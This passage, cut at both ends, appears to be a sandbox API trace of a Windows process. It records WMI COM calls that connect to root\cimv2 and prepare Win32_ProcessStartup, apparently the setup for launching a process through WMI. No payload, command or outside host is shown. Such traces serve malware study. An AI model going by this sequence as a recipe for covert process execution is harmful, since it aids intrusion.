ppv=0x1b2fd630*=0x1c0231e0) returned 0x0 [0081.501] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c0231e0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1c03f420) returned 0x0 [0081.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f420, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf97920) returned 0x0 [0081.681] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97920, pProxy=0x1c03f420, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0081.681] WbemLocator:IUnknown:Release (This=0x1bf97920) returned 0x1 [0081.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f420, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf97960) returned 0x0 [0081.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f420, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf97920) returned 0x0 [0081.681] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97920, pProxy=0x1c03f420, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0081.681] WbemLocator:IUnknown:Release (This=0x1bf97920) returned 0x2 [0081.681] WbemLocator:IUnknown:Release (This=0x1bf97960) returned 0x1 [0081.681] CoTaskMemFree (pv=0x11dc730) [0081.682] WbemLocator:IUnknown:AddRef (This=0x1c03f420) returned 0x2 [0081.682] WbemLocator:IUnknown:Release (This=0x1c0231e0) returned 0x0 [0081.682] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0081.682] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0081.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f420, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf97930) returned 0x0 [0081.683] WbemLocator:IRpcOptions:Query (in: This=0x1bf97930, pPrx=0x1c023240, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0081.683] WbemLocator:IUnknown:Release (This=0x1bf97930) returned 0x2 [0081.683] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0081.683] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0081.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03f420, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1c03f420) returned 0x0 [0081.683] WbemLocator:IUnknown:Release (This=0x1c03f420) returned 0x2 [0081.683] SysStringLen (param_1=0x0) returned 0x0 [0081.683] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f870, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0081.683] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f870, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0081.684] IWbemServices:GetObject (in: This=0x1c03f420, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1c02a8e0, ppCallResult=0x0) returned 0x0 [0081.686] IWbemClassObject:Get (in: This=0x1c02a8e0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0081.686] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0081.686] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0081.686] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0081.686] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0081.686] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0081.686] IUnknown:Release (This=0x111f638) returned 0x1 [0081.689] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c0231e0) returned 0x0 [0081.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0231e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0081.689] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0231e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1c02f9f0) returned 0x0 [0081.689] WbemDefPath:IUnknown:Release (This=0x1c0231e0) returned 0x0 [0081.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1c02f9f0) returned 0x0 [0081.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0081.690] WbemDefPath:IUnknown:AddRef (This=0x1c02f9f0) returned 0x3 [0081.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0081.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0081.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c023200) returned 0x0 [0081.690] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c023200, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.690] WbemDefPath:IUnknown:Release (This=0x1c023200) returned 0x3 [0081.690] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0081.690] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0081.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0081.690] WbemDefPath:IUnknown:Release (This=0x1c02f9f0) returned 0x2 [0081.690] WbemDefPath:IUnknown:Release (This=0x1c02f9f0) returned 0x1 [0081.690] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0081.690] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0081.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f9f0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1c02f9f0) returned 0x0 [0081.690] WbemDefPath:IUnknown:AddRef (This=0x1c02f9f0) returned 0x3 [0081.690] WbemDefPath:IUnknown:Release (This=0x1c02f9f0) returned 0x2 [0081.690] WbemDefPath:IWbemPath:SetText (This=0x1c02f9f0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0081.691] IWbemClassObject:Get (in: This=0x1c02a8e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae00d0*=0, plFlavor=0x2ae00d4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae00d0*=19, plFlavor=0x2ae00d4*=0) returned 0x0 [0081.691] IWbemClassObject:Get (in: This=0x1c02a8e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae00d0*=19, plFlavor=0x2ae00d4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae00d0*=19, plFlavor=0x2ae00d4*=0) returned 0x0 [0081.691] IWbemClassObject:Put (This=0x1c02a8e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0081.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f7b0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0081.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0081.691] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0081.691] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.691] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0081.691] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0081.691] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0081.691] IUnknown:Release (This=0x111f638) returned 0x1 [0081.693] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c053c50) returned 0x0 [0081.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c053c50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0081.694] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c053c50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1c02fab0) returned 0x0 [0081.694] WbemDefPath:IUnknown:Release (This=0x1c053c50) returned 0x0 [0081.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fab0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1c02fab0) returned 0x0 [0081.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fab0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0081.694] WbemDefPath:IUnknown:AddRef (This=0x1c02fab0) returned 0x3 [0081.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fab0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0081.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fab0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0081.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fab0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c053c90) returned 0x0 [0081.694] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c053c90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0081.694] WbemDefPath:IUnknown:Release (This=0x1c053c90) returned 0x3 [0081.694] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0081.694] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0081.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fab0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0081.695] WbemDefPath:IUnknown:Release (This=0x1c02fab0) returned 0x2 [0081.695] WbemDefPath:IUnknown:Release (This=0x1c02fab0) returned 0x1 [0081.695] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0081.695] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0081.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fab0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1c02fab0) returned 0x0 [0081.695] WbemDefPath:IUnknown:AddRef (This=0x1c02fab0) returned 0x3 [0081.695] WbemDefPath:IUnknown:Release (This=0x1c02fab0) returned 0x2 [0081.695] WbemDefPath:IWbemPath:SetText (This=0x1c02fab0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0081.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fab0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0081.695] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0081.695] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.695] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0081.695] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0081.695] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0081.695] IUnknown:Release (This=0x111f638) returned 0x1 [0081.696] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c053d90) returned 0x0 [0081.696] WbemLocator:IUnknown:QueryInterface (in: This=0x1c053d90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0081.696] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c053d90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c053db0) returned 0x0 [0081.696] WbemLocator:IUnknown:Release (This=0x1c053d90) returned 0x0 [0081.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1c053db0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c053db0) returned 0x0 [0081.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1c053db0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0081.697] WbemLocator:IUnknown:AddRef (This=0x1c053db0) returned 0x3 [0081.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1c053db0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0081.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1c053db0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0081.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1c053db0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0081.697] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0081.697] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0081.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1c053db0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0081.697] WbemLocator:IUnknown:Release (This=0x1c053db0) returned 0x2 [0081.697] WbemLocator:IUnknown:Release (This=0x1c053db0) returned 0x1 [0081.697] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0081.697] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0081.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1c053db0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c053db0) returned 0x0 [0081.698] WbemLocator:IUnknown:AddRef (This=0x1c053db0) returned 0x3 [0081.698] WbemLocator:IUnknown:Release (This=0x1c053db0) returned 0x2 [0081.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fab0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0081.698] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0081.698] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: 